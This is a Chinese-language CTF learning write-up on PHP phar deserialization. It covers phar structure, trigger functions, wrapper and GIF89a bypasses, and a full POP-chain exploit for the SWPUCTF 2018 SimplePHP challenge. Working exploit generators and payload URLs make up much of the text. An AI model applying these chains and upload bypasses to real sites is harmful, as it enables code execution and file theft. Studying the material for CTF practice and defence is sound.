CTFphar反序列化学习
Sherlock引用
PHP反序列化入门之phar
phar反序列化原理及利用
php反序列化拓展攻击详解–phar
phar介绍
简单来说phar
就是php
压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file://
php://
等类似,也是一种流包装器。
phar
结构由 4 部分组成
stub
phar 文件标识,格式为 xxx<?php xxx; __HALT_COMPILER();?>;
manifest
压缩文件的属性等信息,以序列化存储;
contents
压缩文件的内容;
signature
签名,放在文件末尾;
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf
文件来绕过一些上传限制;二是反序列化,phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多
phar文件的生成以及利用
在php.ini中配置如下时,才能生成phar文件,记得要删除前面的分号
下面举得这个例子php版本要在8.0以上(哭死)
正常的php反序列化是通过unserialize函数来实现的,而phar反序列化可以通过 file_get_contents函数来实现,如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php error_reporting(); class Test { public $num = 2; public function __destruct() { if ($this->num === 1) { echo 'flag{^_^}'; } } }
echo file_get_contents($_GET['file']);
|
构造phar反序列化的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Test { public $num; } $a = new Test(); $a->num=1;
$phar = new Phar("a.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetaData($a); $phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
|
然后我们可以看到本地的同一个文件夹下面生成了a.phar
然后get传参:?file=phar://a.phar/test2.txt
,可以看到如下结果:
可以看见输出了test2和flag,test2为我们的a.phar文件里面的内容,通过file_get_contents函数读取出来的,至于为什么flag也读出来,是因为a.phar里面有我们的恶意代码,phar文件被反序列化了
触发phar反序列化的敏感函数
文件相关的函数
1 2 3 4 5 6 7 8
| fileatime / filectime / filemtime stat / fileinode / fileowner / filegroup / fileperms file / file_get_contents / readfile / fopen file_exists / is_dir / is_executable / is_file is_link / is_readable / is_writeable / is_writable parse_ini_file unlink copy
|
其他触发函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| image exif_thumbnail exif_imagetype imageloadfont imagecreatefrom*** getimagesize getimagesizefromstring hash hash_hmac_file hash_file hash_update_file md5_file sha1_file file / url get_meta_tags get_headers
|
常见的绕过方式
绕过phar://开头
1 2 3 4 5
| compress.bzip://phar://a.phar/test1.txt compress.bzip2://phar://a.phar/test1.txt compress.zlib://phar://a.phar/test1.txt php://filter/resource=phar://a.phar/test1.txt php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt
|
绕过图片检查
可以修改phar文件名的后缀
文件开头添加GIFB9a绕过十六进制检查
1
| $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
|
利用条件
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。
1.phar文件要能够上传到服务器端。
2.如file_exists(),fopen(),file_get_contents(),file()
等文件操作的函数要有可用的魔术方法作为”跳板”。
3.文件操作函数的参数可控,且::、/、phar
等特殊字符没有被过滤。
例题
upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') { echo "Upload: " . $_FILES["file"]["name"]; echo "Type: " . $_FILES["file"]["type"]; echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload_file/" .$_FILES["file"]["name"]); echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"]; } } else { echo "Invalid file,you can only upload gif"; }
|
upload_file.html
1 2 3 4 5 6 7 8
| <html> <body> <form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="Upload" /> </form> </body> </html>
|
un.php存在file_exists()
,并且存在__destruct()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php $filename=@$_GET['filename']; echo 'please input a filename'.'<br />'; class AnyClass{ var $output = 'echo "ok";'; function __destruct() { eval($this -> output); } } if(file_exists($filename)){ $a = new AnyClass(); } else{ echo 'file is not exists'; } ?>
|
该环境存在两个点,第一存在文件上传,只能上传gif图,第二存在魔术方法__destruct()
以及文件操作函数file_exists()
,而且在AnyClass类中调用了eval,以此用来命令执行。
我们知道以上条件正好满足利用条件。
根据un.php写一个生成phar的php文件,在文件头加上GIF89a
绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
poc.php
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class AnyClass{ var $output = ''; } $phar = new Phar('phar.phar'); $phar -> stopBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar -> addFromString('test.txt','test'); $object = new AnyClass(); $object -> output= 'phpinfo();'; $phar -> setMetadata($object); $phar -> stopBuffering();
|
生成phar文件后,改后缀为gif
payload:un.php?filename=phar://phar.gif/test
[SWPUCTF 2018]SimplePHP
开启题目环境,进入点击查看文件的时候搜索栏为:http://96147239-9a37-4585-8e45-c7494c8aa92b.node5.buuoj.cn:81/file.php?file=
,通过file来读取文件,是个可疑点
查看页面源码,如下:
提示flag在f1ag.php中,尝试直接访问,回显hacker
尝试读取文件:/file.php?file=file.php
,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php header("content-type:text/html;charset=utf-8"); include 'function.php'; include 'class.php'; ini_set('open_basedir','/var/www/html/'); $file = $_GET["file"] ? $_GET['file'] : ""; if(empty($file)) { echo "<h2>There is no file to show!<h2/>"; } $show = new Show(); if(file_exists($file)) { $show->source = $file; $show->_show(); } else if (!empty($file)){ die('file doesn\'t exists.'); }
|
看得出来文件都存在/var/www/html
目录下面;另外函数file_exists,感觉可以利用phar反序列化漏洞
查看包含的文件class.php,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| <?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } }
class Show { public $source; public $str; public function __construct($file) { $this->source = $file; echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
|
可以发现文件读取的主要函数是file_get ,我们可以构造它的内容为/var/www/html/f1ag.php读取flag
但是要想执行file_get 函数就必须调用get函数,可以看见get方法的调用又来自__get
魔术方法,在__get
魔术方法中访问一个对象的不可访问属性时被调用,会自动调用
可以知道代码中的类Show中的__toString()方法中的$content = $this->str['str']->source;
,当$this->str['str']=new Test()
时,相当于访问它的不存在属性source,会触发__get
魔术方法
调用__toString()方法的话必须使用echo打印该对象,而类C1e4r中__destruct()
方法便有echo,只要使$this->source=new Show()
便会触发上面所要的方法
综上,pop链的构造思路如下:
1 2 3
| Test()->params['source']="/var/www/html/f1ag.php"; //Test类中获取的文件为f1ag.php Show()->str['str'] = new Test(); //调用Show类的属性,因为在Test类中不存在该属性,触发__get方法 C1e4r()->str = new Show(); //调用C1e4r类的str属性给Show类
|
别忘了,file.php文件还包含了function.php文件,访问:/file.php?file=function.php
,得到的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } }
|
由上可知上传的文件后缀名只允许"gif","jpeg","jpg","png"
,并且文件会上传到upload目录下面去
综上,构造的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php class C1e4r { public $test; public $str; }
class Show { public $source; public $str; } class Test { public $file; public $params; }
$a = new Test(); $a->params['source'] = "/var/www/html/f1ag.php";
$b = new Show(); $b->str['str'] = $a;
$c = new C1e4r(); $c->str = $b;
$phar = new Phar("a.gif"); $phar->startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->setMetaData($c); $phar->addFromString("test2.txt", "test2"); $phar->stopBuffering();
|
运行代码后得到我们所要的文件,上传并访问upload目录,如下:
然后访问刚刚上传的文件:/file.php?file=phar://upload/ 5d719d2e174b5a883867b802a89db296.jpg
得到一串base64编码的字符串,拿去解码后就可以得到flag啦
题目解决